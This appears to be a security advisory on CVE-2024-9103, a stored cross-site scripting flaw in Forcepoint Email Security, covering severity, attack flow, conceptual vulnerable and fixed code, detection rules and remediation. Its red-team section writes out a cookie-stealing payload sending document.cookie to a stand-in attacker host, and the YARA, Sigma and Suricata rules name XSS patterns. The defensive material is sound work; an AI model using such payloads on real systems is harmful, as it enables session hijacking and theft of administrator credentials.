CVE-2024-9103

Executive Summary

CVE-2024-9103 is a Stored Cross-Site Scripting (XSS) vulnerability in Forcepoint Email Security, specifically within the Blocked Messages module. The vulnerability arises from improper neutralization of script in attributes of a web page, allowing an authenticated attacker to inject malicious scripts that are stored and later executed in the context of other users' browsers. With a CVSS score of 6.1 (Medium), this flaw affects all versions up to and including 8.5.5. No public proof-of-concept or exploit code has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk to affected organizations is significant due to the potential for credential theft, session hijacking, and further lateral movement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs authenticated access to the Blocked Messages module.
• User Interaction (UI): Required (R) – The victim must view the malicious message.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.1, the stored XSS nature can lead to serious consequences such as session hijacking and phishing attacks. The lack of a patch and public exploit increases the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in the Blocked Messages module of Forcepoint Email Security. When an email is blocked, the system displays a notification to the user. The module fails to properly sanitize HTML attributes within the message content. An attacker with access to send emails (or who can trigger a blocked message) can inject malicious JavaScript code into attributes such as onmouseover, onclick, or src. This injected script is stored in the system and executed when an administrator or user views the blocked message list.

The attack flow:

1. Attacker sends an email containing a malicious payload in an attribute (e.g., <img src=x onerror=alert(1)>).
2. The email is blocked by Forcepoint Email Security.
3. The blocked message is stored in the database.
4. When an administrator views the blocked messages, the payload is rendered in the browser, executing the attacker's script.
5. The script can steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Since no patch details are available, we can only describe the vulnerable pattern. The vulnerable code likely does not escape or sanitize HTML attributes when rendering blocked messages.

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user-controlled data into HTML attribute
echo "<div class='blocked-msg' title='" . $message['subject'] . "'>" . $message['body'] . "</div>";

Patched Code (Conceptual):

// Patched: Properly escape HTML attributes
echo "<div class='blocked-msg' title='" . htmlspecialchars($message['subject'], ENT_QUOTES, 'UTF-8') . "'>" . htmlspecialchars($message['body'], ENT_QUOTES, 'UTF-8') . "</div>";

The fix involves using htmlspecialchars() or equivalent functions to encode special characters like ', ", <, >, and & before outputting user-controlled data into HTML attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to send emails to a Forcepoint Email Security instance (version <= 8.5.5).
• Knowledge of a valid recipient email address.

Exploitation Steps:

1. Craft an email with a malicious payload in the subject or body. For example:

   Subject: Test
   Body: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

2. Send the email to a user whose emails are blocked (e.g., by triggering a policy violation).
3. Wait for an administrator to view the blocked messages list.
4. The payload executes, sending the admin's cookies to the attacker's server.

Lab Setup:

• Use a local Forcepoint Email Security virtual appliance (version 8.5.5).
• Set up a simple SMTP server (e.g., smtp4dev) to send test emails.
• Use a webhook service (e.g., webhook.site) to capture exfiltrated data.

Blue Team

Detection:

• Monitor for unusual outbound HTTP requests from the Forcepoint management interface.
• Look for blocked messages containing suspicious HTML attributes (e.g., onerror, onload, onmouseover).
• Use the Sigma rule below to detect exploitation attempts.

Prevention:

• Apply input validation and output encoding on all user-controlled data.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict access to the Blocked Messages module to trusted administrators only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the Forcepoint management server.
• File: Log entries in the Forcepoint Email Security logs containing HTML tags like <script>, <img onerror=, or <svg onload=.
• Registry/Config: Unusual entries in the blocked messages database table.
• Email: Emails with subjects or bodies containing JavaScript event handlers (e.g., onerror, onload).

Detection Engineering

YARA Rule

rule CVE_2024_9103_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Forcepoint Email Security blocked messages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9103"
    strings:
        $xss1 = /<[^>]+on\w+\s*=\s*['"][^'"]*['"]/i
        $xss2 = /<script[^>]*>.*?<\/script>/is
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9103 Stored XSS in Forcepoint Email Security
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS exploitation in Forcepoint Email Security blocked messages
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9103
logsource:
    product: forcepoint
    service: email_security
detection:
    selection:
        EventID: 1001  # Example event ID for blocked message view
        Message|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'onmouseover='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in email subjects (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9103 Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Forcepoint Email Security management interface from the internet.
2. Restrict access to the Blocked Messages module to only essential administrators.
3. Monitor logs for suspicious activity as described in the Detection Engineering section.

Long-term Fix:

• Apply the official patch from Forcepoint once released.
• Upgrade to a version beyond 8.5.5 if available.
• Implement a Web Application Firewall (WAF) to filter malicious payloads.

Compensating Controls:

• Enable Content Security Policy (CSP) headers on the management interface.
• Use HTTP-only cookies to prevent JavaScript access.
• Conduct regular security audits of the Forcepoint Email Security configuration.

Valters IT